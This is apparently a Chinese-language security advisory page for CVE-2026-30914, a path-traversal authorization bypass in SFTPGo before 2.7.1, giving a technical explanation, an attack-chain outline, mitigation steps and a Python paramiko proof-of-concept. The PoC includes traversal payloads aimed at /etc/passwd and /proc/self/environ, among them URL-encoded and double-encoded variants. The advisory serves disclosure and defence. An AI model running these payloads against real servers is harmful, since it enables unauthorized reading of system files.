IPBUF安全漏洞报告
English
CVE-2026-30914 CVSS 8.1 高危

CVE-2026-30914 SFTPGo路径遍历授权绕过漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-30914
漏洞类型
授权绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SFTPGo

相关标签

SFTPGo授权绕过路径遍历虚拟文件系统CVE-2026-30914高危漏洞文件传输权限绕过

漏洞概述

CVE-2026-30914是SFTPGo中的一个高危安全漏洞,CVSS评分达到8.1分。该漏洞存在于SFTPGo 2.7.1之前的版本中,源于协议处理器与内部虚拟文件系统(Virtual Filesystem)路由之间的路径规范化机制存在差异。攻击者作为低权限认证用户,可以利用精心构造的文件路径来绕过文件夹级别的访问控制权限,或者逃离配置虚拟文件夹的边界限制,从而访问未授权的文件和目录资源。此漏洞的发现和披露由GitHub安全团队(s [email protected])负责,披露日期为2026年3月13日。漏洞的成功利用可能导致敏感数据泄露、配置文件被读取或系统完整性被破坏等严重安全后果。由于SFTPGo是广泛使用的开源文件传输解决方案,该漏洞对使用该产品的企业和个人用户构成重大安全威胁。建议所有使用SFTPGo的用户尽快升级到2.7.1或更高版本以修复此漏洞。

技术细节

SFTPGo是一个事件驱动的开源文件传输解决方案,支持SFTP、SCP、FTP/WebDAV等多种协议。该漏洞的核心问题在于路径规范化的不一致性。在SFTPGo的架构中,协议处理器负责解析客户端请求的文件路径,而内部虚拟文件系统则负责实际的访问控制和文件操作。当攻击者发送包含特殊构造路径的请求时,如使用符号链接、相对路径遍历(如../../../)或编码字符,协议处理器和虚拟文件系统可能对这些路径的解析结果产生差异。具体而言,协议层可能在验证权限时使用规范化前的路径,而虚拟文件系统在执行操作时使用规范化后的路径,导致权限检查被绕过。攻击者可以利用此漏洞:1) 访问虚拟文件夹边界之外的系统文件;2) 读取或修改本应被禁止访问的文件;3) 利用符号链接指向敏感目录进行未授权访问。由于漏洞利用需要有效的认证凭证,且CVSS向量显示攻击复杂度为低(AC:L),因此具有低权限账户的攻击者即可成功实施攻击。

攻击链分析

STEP 1
步骤1
攻击者获取SFTPGo的低权限用户账户凭证
STEP 2
步骤2
攻击者通过SFTP客户端连接目标服务器,使用标准路径访问虚拟文件夹内的资源
STEP 3
步骤3
攻击者构造包含路径遍历字符(如../)或符号链接的特殊路径请求
STEP 4
步骤4
协议处理器验证路径时,由于路径未完全规范化,权限检查通过
STEP 5
步骤5
虚拟文件系统执行操作时使用规范化后的路径,成功访问虚拟文件夹边界外的文件
STEP 6
步骤6
攻击者获取敏感系统文件(如/etc/passwd)或配置文件内容,可能导致进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-30914 PoC - SFTPGo Path Traversal Authorization Bypass # This PoC demonstrates the path normalization discrepancy # Requires valid SFTP credentials with limited folder permissions import paramiko import socket # Configuration TARGET_HOST = 'target.example.com' TARGET_PORT = 22 USERNAME = 'low_privilege_user' PASSWORD = 'user_password' # Path traversal payloads to bypass virtual folder restrictions PAYLOADS = [ # Escape virtual folder using path traversal '../../../etc/passwd', # Symbolic link attack '/proc/self/environ', # URL encoded traversal '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', # Double encoding '%252e%252e%252f%252e%252e%252fetc%252fpasswd' ] def exploit_sftpgo(): """Exploit CVE-2026-30914: Path normalization bypass""" try: # Establish SSH connection transport = paramiko.Transport((TARGET_HOST, TARGET_PORT)) transport.connect(username=USERNAME, password=PASSWORD) sftp = paramiko.SFTPClient.from_transport(transport) print(f"[*] Connected to {TARGET_HOST} as {USERNAME}") print("[*] Attempting path traversal attacks...") for payload in PAYLOADS: try: # Attempt to read file outside virtual folder print(f"[*] Testing payload: {payload}") result = sftp.stat(payload) print(f"[!] SUCCESS: File accessible via {payload}") print(f"[!] File info: {result}") except IOError as e: print(f"[-] Failed with payload {payload}: {e}") sftp.close() transport.close() except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == '__main__': exploit_sftpgo() print("[*] PoC execution completed")

影响范围

SFTPGo < 2.7.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 审查并收紧用户权限配置,限制虚拟文件夹的绑定路径范围;2) 禁用符号链接支持或配置symlinks选项为0;3) 对SFTPGo进程使用强制访问控制(MAC)如AppArmor或SELinux;4) 实施网络层隔离,限制可访问SFTP服务的IP地址范围;5) 启用详细的访问日志并设置告警机制,及时发现异常访问行为;6) 考虑使用chroot环境增强隔离效果。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表